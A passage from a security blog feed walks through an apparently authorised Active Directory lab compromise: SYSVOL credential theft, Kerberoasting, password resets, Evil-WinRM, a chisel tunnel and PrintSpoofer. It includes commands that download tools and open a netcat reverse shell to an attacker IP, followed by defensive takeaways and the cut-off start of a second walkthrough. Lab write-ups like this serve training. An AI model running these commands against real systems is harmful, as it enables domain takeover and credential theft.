<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sysvol--resetpasswordexe">SYSVOL — ResetPassword.exe<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#sysvol--resetpasswordexe" class="hash-link" aria-label="Direct link to SYSVOL — ResetPassword.exe" title="Direct link to SYSVOL — ResetPassword.exe" translate="no">​</a></h2>
<p>List shares as <code>Craig.Carr</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">smbclient -U Craig.Carr -L 192.168.120.21</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Sharename       Type      Comment</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">---------       ----      -------</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ADMIN$          Disk      Remote Admin</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">C$              Disk      Default share</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">IPC$            IPC       Remote IPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">NETLOGON        Disk      Logon server share </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SYSVOL          Disk      Logon server share</span><br></div></code></pre></div></div>
<p>Browse <code>SYSVOL</code> and pull the helpdesk reset tool:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">smbclient //192.168.120.21/SYSVOL -U Craig.Carr</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">smb: \nagoya-industries.com\scripts\ResetPassword\&gt; ls</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  .                                   D        0  Sun Apr 30 04:07:07 2023</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  ..                                  D        0  Sun Apr 30 04:07:07 2023</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  ResetPassword.exe                   A     5120  Sun Apr 30 13:04:02 2023</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  ResetPassword.exe.config            A      189  Sun Apr 30 12:53:50 2023</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.IO.FileSystem.AccessControl.dll      A    28552  Mon Oct 19 23:39:30 2020</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.IO.FileSystem.AccessControl.xml      A    65116  Sat Oct 10 01:10:54 2020</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.Security.AccessControl.dll      A    35952  Sat Oct 23 04:45:08 2021</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.Security.AccessControl.xml      A   231631  Tue Oct 19 12:14:20 2021</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.Security.Permissions.dll      A    30328  Tue Oct 18 21:34:02 2022</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.Security.Permissions.xml      A     8987  Tue Oct 18 21:34:02 2022</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.Security.Principal.Windows.dll      A    18312  Mon Oct 19 23:46:28 2020</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  System.Security.Principal.Windows.xml      A    90968  Sat Oct 10 01:10:54 2020</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">smb: \nagoya-industries.com\scripts\ResetPassword\&gt; get ResetPassword.exe</span><br></div></code></pre></div></div>
<p>Extract embedded strings (UTF-16LE):</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">strings -e l ResetPassword.exe</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Usage: PasswordReset.exe &lt;Domain Username&gt; &lt;New Password&gt;</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">User not found.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Password reset successful.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">svc_helpdesk</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">U299iYRmikYTHDbPbxPoYYfa2j4x4cdg</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">VS_VERSION_INFO</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">...</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">FileDescription</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ResetPassword</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ProductName</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ResetPassword</span><br></div></code></pre></div></div>
<p>Hardcoded service credentials:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">svc_helpdesk : U299iYRmikYTHDbPbxPoYYfa2j4x4cdg</span><br></div></code></pre></div></div>
<p>Collect BloodHound data with the domain user:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">bloodhound-python -d nagoya-industries.com -u Craig.Carr -p 'Spring2023' \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -dc nagoya.nagoya-industries.com -gc nagoya.nagoya-industries.com \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -ns 192.168.120.21 --dns-tcp -c all --zip</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="kerberoasting">Kerberoasting<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#kerberoasting" class="hash-link" aria-label="Direct link to Kerberoasting" title="Direct link to Kerberoasting" translate="no">​</a></h2>
<p>Request TGS tickets with <code>svc_helpdesk</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">impacket-GetUserSPNs -request \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -dc-ip 192.168.120.21 \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -dc-host nagoya.nagoya-industries.com \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  nagoya-industries.com/svc_helpdesk:'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -outputfile kerberoast_hash.txt</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ServicePrincipalName                Name          MemberOf                                          PasswordLastSet             LastLogon                   Delegation </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">----------------------------------  ------------  ------------------------------------------------  --------------------------  --------------------------  ----------</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">http/nagoya.nagoya-industries.com   svc_helpdesk  CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com  2023-04-30 03:31:06.190955  &lt;never&gt;                                </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">MSSQL/nagoya.nagoya-industries.com  svc_mssql                                                       2023-04-30 03:45:33.288595  2024-08-03 13:48:01.815298             </span><br></div></code></pre></div></div>
<p>Crack with John:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">./john.exe .\pass.txt --wordlist=rockyou.txt</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Service1         (?)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">1g 0:00:00:05 DONE (2026-09-11 23:58) 0.1700g/s 2439Kp/s 2616Kc/s 2616KC/s !!123sabi!!123..♦*♥7¡Vamos!♥</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Session completed</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">svc_mssql : Service1</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="password-reset--winrm">Password reset → WinRM<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#password-reset--winrm" class="hash-link" aria-label="Direct link to Password reset → WinRM" title="Direct link to Password reset → WinRM" translate="no">​</a></h2>
<p><code>svc_helpdesk</code> can reset domain user passwords (helpdesk privileges). Example via <code>rpcclient</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">rpcclient -U nagoya-industries/svc_helpdesk 192.168.120.21</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">rpcclient $&gt; setuserinfo ELAINE.BRADY 23 'Password123'</span><br></div></code></pre></div></div>
<p>WinRM succeeds for <code>Christopher.Lewis</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">crackmapexec winrm 192.168.120.21 -u christopher.Lewis -p Password1111</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">SMB         192.168.120.21  5985   NAGOYA           [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">HTTP        192.168.120.21  5985   NAGOYA           [*] http://192.168.120.21:5985/wsman</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">WINRM       192.168.120.21  5985   NAGOYA           [+] nagoya-industries.com\christopher.Lewis:Password1111 (Pwn3d!)</span><br></div></code></pre></div></div>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">evil-winrm -i 192.168.120.21 -u christopher.Lewis -p Password1111</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents&gt;</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="socks-tunnel--mssql">SOCKS tunnel → MSSQL<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#socks-tunnel--mssql" class="hash-link" aria-label="Direct link to SOCKS tunnel → MSSQL" title="Direct link to SOCKS tunnel → MSSQL" translate="no">​</a></h2>
<p>On the attacker host:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">chisel server --reverse --socks5</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/12 01:18:23 server: Reverse tunnelling enabled</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/12 01:18:23 server: Listening on http://0.0.0.0:8080</span><br></div></code></pre></div></div>
<p>On the target (Evil-WinRM):</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">iwr http://192.168.45.182/chisel.exe -OutFile C:\Users\Christopher.Lewis\Downloads\chisel.exe</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">.\chisel.exe client 192.168.45.182:8080 R:socks</span><br></div></code></pre></div></div>
<p>Connect to MSSQL over Kerberos through the SOCKS proxy:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">proxychains impacket-mssqlclient -k nagoya.nagoya-industries.com</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.120.21:1433  ...  OK</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[*] Encryption required, switching to TLS</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SQL (NAGOYA-IND\Administrator  dbo@master)&gt; enable_xp_cmdshell 1</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.</span><br></div></code></pre></div></div>
<p>The session lands as <code>NAGOYA-IND\Administrator</code>. Enable <code>xp_cmdshell</code> and fire a reverse shell (PowerShell TCP client, Base64-encoded) back to the attacker listener.</p>
<p>Confirm privileges in the callback shell:</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">whoami /priv</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Privilege Name                Description                               State   </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">============================= ========================================= ========</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeMachineAccountPrivilege     Add workstations to domain                Disabled</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeImpersonatePrivilege        Impersonate a client after authentication Enabled </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeCreateGlobalPrivilege       Create global objects                     Enabled </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled</span><br></div></code></pre></div></div>
<p><code>SeImpersonatePrivilege</code> is enabled — classic potato / PrintSpoofer territory.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="privilege-escalation--printspoofer">Privilege escalation — PrintSpoofer<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#privilege-escalation--printspoofer" class="hash-link" aria-label="Direct link to Privilege escalation — PrintSpoofer" title="Direct link to Privilege escalation — PrintSpoofer" translate="no">​</a></h2>
<p>Stage tools and escalate:</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">iwr http://192.168.45.182/PrintSpoofer64.exe -OutFile C:\Temp\PrintSpoofer64.exe</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">iwr http://192.168.45.182/nc.exe -OutFile C:\Temp\nc.exe</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">.\PrintSpoofer64.exe -c "nc.exe 192.168.45.182 1337 -e cmd"</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[+] Found privilege: SeImpersonatePrivilege</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Named pipe listening...</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] CreateProcessAsUser() OK</span><br></div></code></pre></div></div>
<p>Listener:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nc -lvp 1337</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">listening on [any] 1337 ...</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">connect to [192.168.45.182] from nagoya-industries.com [192.168.120.21] 50092</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Microsoft Windows [Version 10.0.17763.4252]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">C:\Windows\system32&gt;whoami /priv</span><br></div></code></pre></div></div>
<p>High-integrity / SYSTEM-class privileges are present (<code>SeDebugPrivilege</code>, <code>SeBackupPrivilege</code>, <code>SeTakeOwnershipPrivilege</code>, and the rest of the admin set).</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>Nagoya is a full AD compromise chain:</p>
<ul>
<li class="">recon identifies a Domain Controller and the corporate website</li>
<li class="">employee names → Kerbrute validation → seasonal password spray</li>
<li class=""><code>SYSVOL</code> ships a helpdesk binary with hardcoded <code>svc_helpdesk</code> credentials</li>
<li class="">Kerberoast cracks <code>svc_mssql:Service1</code></li>
<li class="">helpdesk password resets enable WinRM</li>
<li class="">SOCKS + Kerberos MSSQL as Administrator → <code>xp_cmdshell</code></li>
<li class=""><code>SeImpersonatePrivilege</code> + PrintSpoofer → SYSTEM</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>Nagoya rewards OSINT-style password guessing and careful reading of domain shares.</p>
<p>The website is not an RCE surface — it is a username factory. Seasonal passwords and a plaintext service credential in <code>SYSVOL</code> turn a low-priv domain user into Kerberoasting and helpdesk abuse. From there the path is classic Windows: WinRM, MSSQL, impersonation.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<ol>
<li class="">Do not publish full employee name lists that map 1:1 to domain usernames.</li>
<li class="">Ban predictable seasonal passwords (<code>SeasonYYYY</code>) and enforce MFA where possible.</li>
<li class="">Never store service credentials in binaries under <code>SYSVOL</code> / NETLOGON.</li>
<li class="">Restrict who can reset passwords; monitor <code>setuserinfo</code> / password-reset events.</li>
<li class="">Treat Kerberoastable SPNs as high value — long complex passwords or gMSA.</li>
<li class="">Lock down MSSQL (<code>xp_cmdshell</code> off, least-privilege service accounts).</li>
<li class="">Mitigate impersonation abuse (PrintSpoofer / potato family) on hosts that run privileged services.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://github.com/ropnop/kerbrute" target="_blank" rel="noopener noreferrer" class="">Kerbrute</a></li>
<li class=""><a href="https://www.hackingarticles.in/a-detailed-guide-on-kerbrute/" target="_blank" rel="noopener noreferrer" class="">A Detailed Guide on Kerbrute</a></li>
<li class=""><a href="https://www.climatestotravel.com/climate/japan/nagoya" target="_blank" rel="noopener noreferrer" class="">Nagoya climate (password theme hint)</a></li>
<li class=""><a href="https://github.com/fortra/impacket" target="_blank" rel="noopener noreferrer" class="">Impacket</a></li>
<li class=""><a href="https://github.com/dirkjanm/BloodHound.py" target="_blank" rel="noopener noreferrer" class="">BloodHound.py</a></li>
<li class=""><a href="https://github.com/Hackplayers/evil-winrm" target="_blank" rel="noopener noreferrer" class="">Evil-WinRM</a></li>
<li class=""><a href="https://github.com/jpillora/chisel" target="_blank" rel="noopener noreferrer" class="">Chisel</a></li>
<li class=""><a href="https://github.com/itm4n/PrintSpoofer" target="_blank" rel="noopener noreferrer" class="">PrintSpoofer</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>Active Directory</category>
            <category>Kerberos</category>
            <category>MSSQL</category>
            <category>Walkthrough</category>
            <category>Labs</category>
            <category>Privilege Escalation</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds Jordak — Jorani CVE-2023-26469]]></title>
            <link>https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469</link>
            <guid>https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469</guid>
            <pubDate>Fri, 04 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds Jordak walkthrough — Jorani CVE-2023-26469 log poisoning RCE, then NOPASSWD sudo /usr/bin/env privilege escalation to root.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds Jordak from a quiet two-port scan to full root by chaining <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26469" target="_blank" rel="noopener noreferrer" class="">CVE-2023-26469</a> in Jorani — log poisoning plus path traversal for unauthenticated RCE — then abusing a <code>NOPASSWD</code> sudo rule for <code>/usr/bin/env</code>.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
